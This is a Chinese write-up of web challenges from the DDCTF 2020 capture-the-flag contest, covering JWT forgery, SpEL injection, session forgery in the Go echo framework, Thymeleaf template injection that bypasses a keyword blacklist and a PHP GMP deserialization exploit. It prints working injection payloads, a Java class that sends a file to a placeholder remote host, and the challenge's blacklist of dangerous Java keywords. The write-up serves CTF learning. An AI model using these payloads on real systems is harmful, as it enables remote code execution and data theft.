0%

DDCTF2020 web方向 WriteUp

上周参与了下2020 DDCTF比赛,做了web方向的题,加一个MISC的拼图,最终排名15。在这里将web方向题的writeup记录下来。

web签到题

访问地址,得到如下信息。

首先访问了第一个login的API,请求方式为POST,输入username和pwd,服务端返回了一个json数据。

其中data字段的值是jwt加密的,解密后的内容如下所示。userRole的值为GUEST,想要伪造该值为ADMIN,需要secret key,尝试爆破。利用jwtcrack工具。爆破出来的secret key与所输入的pwd的值一样,可以猜测它是使用输入的pwd作为secret key的。


访问第二个Auth API,带着token值,token为伪造的jwt,获取了client的下载地址,下载client。

下载client后,先file看一下文件,是个linux可执行文件,跑一下。

从这个程序中,猜测向API http://117.51.136.197/server/command 发送command能够返回数据。但如何发送呢,抓包查看。

发送的格式为{"signature":"","command":"'DDCTF'","timestamp":}

现在需要知道的是,如何对发送的command生成正确的签名。这时候需要逆向一下client。在getSign函数中发现了一些信息,通过这些信息猜测了一下它应该是HMAC算法,使用的hash函数为sha256,加密密钥为DDCTFWithYou。 所需要加密的数据为”command|timestamp”。

结果证明猜测正确。

在输入id等命令无果后,后端应该不是shell,然后想到了模版注入,经测试,最后锁定为spel注入。模版注入的payload为

1
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cat /home/dc2-user/flag/flag.txt").getInputStream())

最后成功获取flag。

卡片商店

卡片商店题目打开内容如下:

点击重新开始后,在活动结束前共有3分钟的时间。意味着需要在3分钟内获得100张卡片,每借出一次卡片,在30s后可多获得3张,每借入一张卡片,需多还2张。经测试可以输入0张卡片,但即使这样,最多也只能获得99张卡片。对伪造session没有想法时,继续回想,既然最少可输入0,那么最多可输入多少呢?会存在溢出吗?使用2^62次数据,溢出了。

在借卡记录归还后,兑换礼物,获得下面的提示。

看到这个secret key就想到了应该是要伪造session,一般常见的是伪造flask的session,但这个的session明显不一样。首先来看一下session。

将-以及_替换为/和+后,进行解密后有如下一串结果,最后有个admin是bool值,可能为false,需要伪造为True。

1
DstringwalletstringUS{"owings":[],"invests":[],"money":12,"now_time":1599226651,"start_time":1599226471}stringadminbool

在尝试了多个框架的session后,最后发现为Go语言的echo框架。在网上找了echo框架的session生成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import (
"net/http"
"github.com/labstack/echo/v4"
"github.com/gorilla/sessions"
"github.com/labstack/echo-contrib/session"
)

func main() {
e := echo.New()
e.Use(session.Middleware(sessions.NewCookieStore([]byte("Udc13VD5adM_c10nPxFu@v12"))))

e.Get("/",func(c echo.Context) error{
sess, _ := session.Get("session",c)
sess.Options = &sessions.Options{
Path: "/",
MaxAge: 86400*7,
HttpOnly: true,
}
sess.Values["admin"] = true
sess.Save(c.Request(), c.Response())
return c.NoContent(http.StatusOK)
})

e.Logger.Fatal(e.Start(":1323"))
}

然后访问1323端口,替换掉原来的session,访问/flag,即可获得flag。

EASY_WEB

easy_web这道题打开是一个登录框,抓包后,响应中有deleteme,确认后端有shiro,想到了shiro之前爆出来的xx/..;/绕过鉴权的漏洞。

查看源码后,发现有一个下载图片的接口,然后尝试任意文件下载漏洞,经测试,只能下载到web目录中的文件,而无法越到其他目录。

在这里尝试读取源码。首先通过WEB-INF/web.xml发现了com.ctf.util.SafeFilter和spring-web.xml,下载下来。com.ctf.util.SafeFilter里面是一个黑名单,对传入的参数会进行黑名单的检测,若存在黑名单,则返回403。黑名单如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
"java.+lang"
"Runtime|Process|byte|OutputStream|session|\"|'"
"exec.*\\("
"write|read"
"invoke.*\\("
"\\.forName.*\\("
"lookup.*\\("
"\\.getMethod.*\\("
"javax.+script.+ScriptEngineManager"
"com.+fasterxml"
"org.+apache"
"org.+hibernate"
"org.+thymeleaf"
"javassist"
"javax\\."
"eval.*\\("
"\\.getClass\\("
"org.+springframework"
"javax.+el"
"java.+io"

spring-web.xml中给出了3个controller包:com.ctf.controller, com.ctf.repository, com.ctf.service。这里需要猜测一下类名。最后测出来了com.ctf.controller.IndexController.class、com.ctf.controller.AuthController.class以及com.ctf.controller.ManagerController.class。
通过阅读源码,得到了一个路径。

访问后,得到一个输入框。

根据源码,输入的值会写入一个html页面中,后续会使用thymeleaf模版进行render,但是在传入的payload中需要绕过黑名单。联想到之前利用URLClassLoader远程加载恶意的Jar包从而RCE。恶意的Jar包中,编写了读取flag文件,并发送至远程的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class ExecTest
{
public ExecTest() throws IOException {
try {
URL uRL1 = new URL("file:///flag_is_here");
InputStream inputStream = uRL1.openStream();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] arrayOfByte1 = new byte[4096];
int i;
while ((i = inputStream.read(arrayOfByte1)) >= 0)
byteArrayOutputStream.write(arrayOfByte1, 0, i);
byteArrayOutputStream.close();
inputStream.close();
byte[] arrayOfByte2 = byteArrayOutputStream.toByteArray();
String str1 = URLEncoder.encode(new String(arrayOfByte2), "UTF8");
URL uRL2 = new URL("http://xxx.xxx.xxx.xxx/?a=" + str1);
HttpURLConnection httpURLConnection = (HttpURLConnection)uRL2.openConnection();
httpURLConnection.setDoOutput(true);
httpURLConnection.setRequestMethod("GET");
httpURLConnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream(), "utf-8"));
String str2 = null;
StringBuilder stringBuilder = new StringBuilder();
while ((str2 = bufferedReader.readLine()) != null) {
stringBuilder.append(str2 + "\n");
}
httpURLConnection.disconnect();
System.out.println(stringBuilder.toString());
} catch (Exception exception) {
exception.printStackTrace();
}
}
}

初始的payload如下所示:

1
[[${{T(java.net.URLClassLoader).getConstructors()[1].newInstance(new java.net.URL[]{{T(java.net.URL).getConstructors()[2].newInstance("http://xxx.xxx.xxx.xxx/evil.jar")}}).loadClass("ExecTest").getConstructor().newInstance()}}]]

由于禁掉了引号,使用T(Character).toString()进行绕过。最终的payload如下所示:

1
[[${T(java.net.URLClassLoader).getConstructors()[1].newInstance(new java.net.URL[]{T(java.net.URL).getConstructors()[2].newInstance(T(Character).toString(104).concat(T(Character).toString(116)).concat(T(Character).toString(116)).concat(T(Character).toString(112)).concat(T(Character).toString(58)).concat(T(Character).toString(47)).concat(T(Character).toString(47)).concat(T(Character).toString(49)).concat(T(Character).toString(49)).concat(T(Character).toString(56)).concat(T(Character).toString(46)).concat(T(Character).toString(56)).concat(T(Character).toString(57)).concat(T(Character).toString(46)).concat(T(Character).toString(50)).concat(T(Character).toString(52)).concat(T(Character).toString(53)).concat(T(Character).toString(46)).concat(T(Character).toString(49)).concat(T(Character).toString(50)).concat(T(Character).toString(50)).concat(T(Character).toString(47)).concat(T(Character).toString(101)).concat(T(Character).toString(118)).concat(T(Character).toString(105)).concat(T(Character).toString(108)).concat(T(Character).toString(46)).concat(T(Character).toString(106)).concat(T(Character).toString(97)).concat(T(Character).toString(114)))}).loadClass(T(Character).toString(69).concat(T(Character).toString(120)).concat(T(Character).toString(101)).concat(T(Character).toString(99)).concat(T(Character).toString(84)).concat(T(Character).toString(101)).concat(T(Character).toString(115)).concat(T(Character).toString(116))).getConstructor().newInstance()}]]

最终拿到了flag。

Override me

这道题给了源码,如下所示。复现时,赛题环境已经关闭,因此直接docker搭了个环境,进行复现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<?php
error_reporting(0);

class MyClass
{
var $kw0ng;
var $flag;

public function __wakeup()
{
$this->kw0ng = 1;
}

public function get_flag()
{
return system('find /FlagNeverFall ' . escapeshellcmd($this->flag));
}
}

class HintClass
{
protected $hint;
public function execute($value)
{
include($value);
}

public function __invoke()
{
if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
{
die("Don't Do That!");
}
$this->execute($this->hint);
}
}

class ShowOff
{
public $contents;
public $page;
public function __construct($file='/hint/hint.php')
{
$this->contents = $file;
echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
}
public function __toString()
{
return $this->contents();
}

public function __wakeup()
{
$this->page->contents = "POP me! I can give you some hints!";
unset($this->page->cont);
}
}

class MiddleMan
{
private $cont;
public $content;
public function __construct()
{
$this->content = array();
}

public function __unset($key)
{
$func = $this->content;
return $func();
}
}

class Info
{
function __construct()
{
eval('phpinfo();');
}

}

$show = new ShowOff();
$bullet = $_GET['bullet'];

if(!isset($bullet))
{
highlight_file(__FILE__);
die("Give Me Something!");
}else if($bullet == 'phpinfo')
{
$infos = new Info();
}else
{
$obstacle1 = new stdClass;
$mc = new MyClass();
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
@unserialize($bullet);
echo $mc->get_flag();
}

看到这个源码,就会想到GMP反序列化,因为它有一个转整型的操作,就可以利用GMP反序列化来修改内存中的对象的值。具体的原理参考https://paper.seebug.org/1267/。

首先$bullet的值设置为phpinfo(),发现PHP的版本为5.6.10版本。php版本小于5.6.11,可以使用内置类DateInterval

然后$bullet设置为空,可以发现suffix_flag的位置。

然后利用payload

1
a:1:{i:0;C:3:"GMP":109:{s:1:"3";a:2:{s:4:"flag";s:36:"-name suffix_flag.php -exec cat {} ;";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}

获得flag。